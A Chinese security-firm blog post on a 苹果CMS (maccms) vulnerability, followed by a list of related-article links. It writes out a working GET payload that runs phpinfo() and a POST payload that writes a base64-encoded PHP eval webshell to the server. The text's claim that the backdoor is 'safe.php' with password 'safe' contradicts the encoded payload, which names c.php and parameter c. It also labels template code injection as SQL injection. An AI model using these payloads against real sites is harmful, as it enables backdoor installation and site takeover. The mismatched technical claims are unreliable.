苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详情,我们仔细分析看下.

maccms漏洞分析与修复

苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示:

代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文件,在function.php配置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行了安全转义。网站漏洞问题的发生就在这里.

我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好几年前开发,并公开在网络上的,已经很久没有更新维护了并且还存在sql注入代码绕过的情况,参数值之间进行实体转换的时候,360的sql拦截规则没有对空白符以及反斜杠进行拦截,导致可以绕过插入恶意参数,直接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。

我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代码进行注入,sql语句在拼接中,可以插入反斜杠进行单引号的报错,从而绕过苹果CMS的安全拦截。语句如下:

GET请求:

http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

可以直接看php的具体信息

POST请求

可以直接获取webshell

http://127.0.0.1/index.PHP?m=vod-search

POST内容如下:

wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.

如何修复苹果cms网站漏洞呢?

对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也很容易忘记加引号,再一个后期处理安全过滤的时候可以插入单引号,stripslash导致可以加入单引号,编解码导致绕过addslash,使用urldecode编码进行注入绕过,根据上面提出的漏洞绕过,我们SINE安全提出漏洞修复的建议是:对URL解码进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加强空格,以及百分符号的拦截,如果对程序代码不熟悉的话建议咨询专业的网站安全公司来处理解决。

苹果cms网站漏洞修复解决办法的更多相关文章

  1. PrestaShop 网站漏洞修复如何修复

    PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本,经历了多次的升级,系统使用的人也越来越多,国内使用该系统的外贸公司也很多 ...

  2. 怎么修复网站漏洞 骑士cms的漏洞修复方案

    骑士CMS是国内公司开发的一套开源人才网站系统,使用PHP语言开发以及mysql数据库的架构,2019年1月份被某安全组织检测出漏洞,目前最新版本4.2存在高危网站漏洞,通杀SQL注入漏洞,利用该网站 ...

  3. struts2架构网站漏洞修复详情与利用漏洞修复方案

    struts2从开发出来到现在,很多互联网企业,公司,平台都在使用apache struts2系统来开发网站,以及应用系统,这几年来因为使用较多,被攻击者挖掘出来的struts2漏洞也越来越,从最一开 ...

  4. Drupal 网站漏洞修复以及网站安全防护加固方法

    drupal是目前网站系统使用较多一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置,drupal的代码开发较为严谨,安全性较高,但是再安全的网站系统,也会出现网站漏洞,dru ...

  5. 网站漏洞修复之最新版本UEditor漏洞

    UEditor于近日被曝出高危漏洞,包括目前官方UEditor 1.4.3.3 最新版本,都受到此漏洞的影响,ueditor是百度官方技术团队开发的一套前端编辑器,可以上传图片,写文字,支持自定义的h ...

  6. Struts2/XWork 安全漏洞及解决办法

    exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞. 漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution V ...

  7. 帝国cms更新报错解决办法

    帝国cms更新,经常会报以下的错误: PHP Warning:  array_merge(): Argument #2 is not an array in D:\wwwroot\www.536831 ...

  8. 网站漏洞修复案例之Discuz!3.4最新版本

    Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆.关于该网站漏 ...

  9. discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...

随机推荐

  1. .htaccess详解及.htaccess参数说明

    .htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录.作为用户,所能使用的命令受到 ...

  2. CopyrightHelper—开源VS插件辅助插入版权注释

    前言 有很多时候,我们在写代码的时候需要在代码文件头加上描述和版权信息等,如果使用代码项目模板又得为每种文件定模板,而已不方便,如果从某个地方复制过来,又嫌麻烦... 为了能解决这种懒人的需求,我开始 ...

  3. meta标签的使用(转)

    1.Expires(期限) 说明:可以用于设定网页的到期时间.一旦网页过期,必须到服务器上重新传输. 用法: <meta http-equiv="expires" conte ...

  4. Spring+ehcache+redis两级缓存

    问题描述 场景:我们的应用系统是分布式集群的,可横向扩展的.应用中某个接口操作满足以下一个或多个条件: 1. 接口运行复杂代价大, 2. 接口返回数据量大, 3. 接口的数据基本不会更改, 4. 接口 ...

  5. Python新式类和经典类的区别

    @Python新式类和经典类的区别 class ClassicClass(): pass class NewStyleClass(object): pass x1 = ClassicClass() x ...

  6. BZOJ4653:[NOI2016]区间(线段树)

    Description 在数轴上有 n个闭区间 [l1,r1],[l2,r2],...,[ln,rn].现在要从中选出 m 个区间,使得这 m个区间共同包含至少一个位置.换句话说,就是使得存在一个 x ...

  7. Python常用库之二:Pandas

    Pandas是用于数据操纵和分析,建立在Numpy之上的.Pandas为Python带来了两种新的数据结构:Pandas Series和Pandas DataFrame,借助这两种数据结构,我们能够轻 ...

  8. ValueError: Invalid leaf XXX

    Bug:ValueError: Invalid leaf XXX 无效的搜索条件——检查search函数中的domain表达式格式!是否少了括号! search(['user_id', '=', us ...

  9. classlist和array.prototype.slice.call

    1.classlist document.getElementById("myDIV").classList.add("mystyle"); classList ...

  10. php is_callable()与method_exists()函数

    总结就是 method_exists()检查方法是否存在 is_callable()是否存在并可在当前作用域是否可调用